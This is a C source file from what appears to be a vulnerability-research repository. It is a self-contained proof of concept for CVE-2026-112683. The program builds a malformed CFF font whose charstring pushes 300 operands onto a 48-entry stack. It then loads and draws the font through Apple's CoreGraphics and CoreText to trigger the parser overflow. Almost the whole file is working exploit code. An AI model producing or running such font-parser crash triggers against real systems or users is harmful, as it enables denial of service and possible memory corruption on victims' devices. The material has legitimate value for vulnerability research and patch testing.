Files
cinder27/CVE-2026-112683/CVE-2026-112683.c
T
JBJF 7949c7ce9f v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
2026-10-29 20:08:55 +08:00

161 lines
6.3 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// font.cff · FontParser · Type2 charstring interpreter · CVE-2026-112683
// CFF operand stack push overflow
// C twin of the Swift POC: builds the 300-operand stack bomb CFF, loads it through
// CGFont/CTFont and draws glyphs to force the interpreter to run.
// Build: clang -O2 -o cve-2026-112683 CVE-2026-112683.c -framework CoreText -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112683 [push-count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── CFF INDEX (from CVE-2026-112683.py: index) ──
static void cff_index(buf *out, const uint8_t *const *items, const size_t *lens, int count) {
if (count == 0) { bput(out, 0); bput(out, 0); return; }
size_t off = 1;
size_t offs[33];
offs[0] = 1;
for (int i = 0; i < count; i++) { off += lens[i]; offs[i + 1] = off; }
int off_size = 1;
if (off >= 0x10000) off_size = 2;
else if (off >= 0x100) off_size = 1; // count fits
// choose the smallest width that holds `off`
if (off < 0x100) off_size = 1;
else if (off < 0x10000) off_size = 2;
else if (off < 0x1000000) off_size = 3;
else off_size = 4;
bput(out, (uint8_t)(count >> 8)); bput(out, (uint8_t)(count & 0xff));
bput(out, (uint8_t)off_size);
for (int i = 0; i <= count; i++) {
for (int k = off_size - 1; k >= 0; k--) bput(out, (uint8_t)((offs[i] >> (8 * k)) & 0xff));
}
for (int i = 0; i < count; i++) bcat(out, items[i], lens[i]);
}
// 5-byte fixed-width DICT integer operand
static void dict_int(buf *out, int32_t v) {
bput(out, 29);
bput(out, (uint8_t)(v >> 24)); bput(out, (uint8_t)(v >> 16));
bput(out, (uint8_t)(v >> 8)); bput(out, (uint8_t)v);
}
// ── seed construction (from CVE-2026-112683.py: build_cff) ──
// one charstring pushes `push_count` operands before endchar; the interpreter's
// operand stack is a fixed 48-entry array
static buf cff_stack_bomb(int push_count) {
buf out = {0};
bcat(&out, "\x01\x00\x04\x01", 4); // header: major 1, minor 0, hdrSize 4, offSize 1
// name index
const uint8_t *names[1] = { (const uint8_t *)"CinderStackBomb" };
size_t name_lens[1] = { 15 };
buf name_index = {0};
cff_index(&name_index, names, name_lens, 1);
// charstring: push_count × (139+1 = push 1), then endchar (14)
buf cs = {0};
for (int i = 0; i < push_count; i++) bput(&cs, 140);
bput(&cs, 14);
const uint8_t *cs_items[1] = { cs.d };
size_t cs_lens[1] = { cs.n };
buf charstrings = {0};
cff_index(&charstrings, cs_items, cs_lens, 1);
buf gsubrs = {0};
cff_index(&gsubrs, NULL, NULL, 0);
buf strings = {0};
cff_index(&strings, NULL, NULL, 0);
// Top DICT: CharStrings (op 17) + Private (op 18), absolute offsets, two-pass
// layout: header | name | top | strings | gsubrs | charstrings | private
size_t top_len_placeholder = 2 * 6 + 2; // two 5-byte ints + two 1-byte ops
size_t top_off = 4 + name_index.n;
size_t after_top = top_off + top_len_placeholder;
size_t cs_off = after_top + strings.n + gsubrs.n;
size_t priv_off = cs_off + charstrings.n;
buf priv = {0};
bput(&priv, 0x00); // trivial private dict
buf top = {0};
dict_int(&top, (int32_t)cs_off); bput(&top, 17);
dict_int(&top, (int32_t)priv.n); dict_int(&top, (int32_t)priv_off); bput(&top, 18);
// the real top dict length must match the placeholder used for layout
buf top_index = {0};
const uint8_t *top_items[1] = { top.d };
size_t top_lens[1] = { top.n };
cff_index(&top_index, top_items, top_lens, 1);
bcat(&out, name_index.d, name_index.n);
bcat(&out, top_index.d, top_index.n);
bcat(&out, strings.d, strings.n);
bcat(&out, gsubrs.d, gsubrs.n);
bcat(&out, charstrings.d, charstrings.n);
bcat(&out, priv.d, priv.n);
bfree(&name_index); bfree(&top_index); bfree(&strings);
bfree(&gsubrs); bfree(&charstrings); bfree(&priv);
bfree(&top); bfree(&cs);
return out;
}
// ── trigger: CGFont + CTFont glyph draw ──
#include <CoreText/CoreText.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
int main(int argc, char **argv) {
int push_count = argc > 1 ? atoi(argv[1]) : 300;
buf cff = cff_stack_bomb(push_count);
FILE *f = fopen("stack_bomb.cff", "wb");
if (f) { fwrite(cff.d, 1, cff.n, f); fclose(f); }
CFDataRef cf = CFDataCreate(NULL, cff.d, (CFIndex)cff.n);
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
CFRelease(cf);
CGFontRef cg = CGFontCreateWithDataProvider(prov);
CGDataProviderRelease(prov);
if (!cg) {
// a refusal is the informative result: which stage rejected the font
printf("CVE-2026-112683 · font refused at the CGFont layer (before the interpreter)\n");
printf("seed: stack_bomb.cff (%zu B) · exit code 1\n", cff.n);
bfree(&cff);
return 1;
}
CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 96, NULL, NULL);
size_t glyphs = CGFontGetNumberOfGlyphs(cg);
printf("font loaded: glyphs=%zu\n", glyphs);
// drawing forces the charstring interpreter to run
const int pixels = 256, bpr = pixels * 4;
uint8_t *buffer = calloc((size_t)bpr * pixels, 1);
CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr,
CGColorSpaceCreateDeviceRGB(), kCGImageAlphaPremultipliedLast);
int drawn = 0;
size_t upper = glyphs < 8 ? glyphs : 8;
for (size_t g = 1; g < upper; g++) {
CGGlyph glyph = (CGGlyph)g;
CGPoint pos = CGPointMake(20, 40 * (g + 1));
CTFontDrawGlyphs(ct, &glyph, &pos, 1, ctx);
drawn++;
}
printf("CVE-2026-112683 · drew %d glyph(s), %d operands vs stack capacity 48\n",
drawn, push_count);
CGContextRelease(ctx);
free(buffer);
CFRelease(ct);
CGFontRelease(cg);
printf("seed: stack_bomb.cff (%zu B) · exit code 0\n", cff.n);
bfree(&cff);
return 0;
}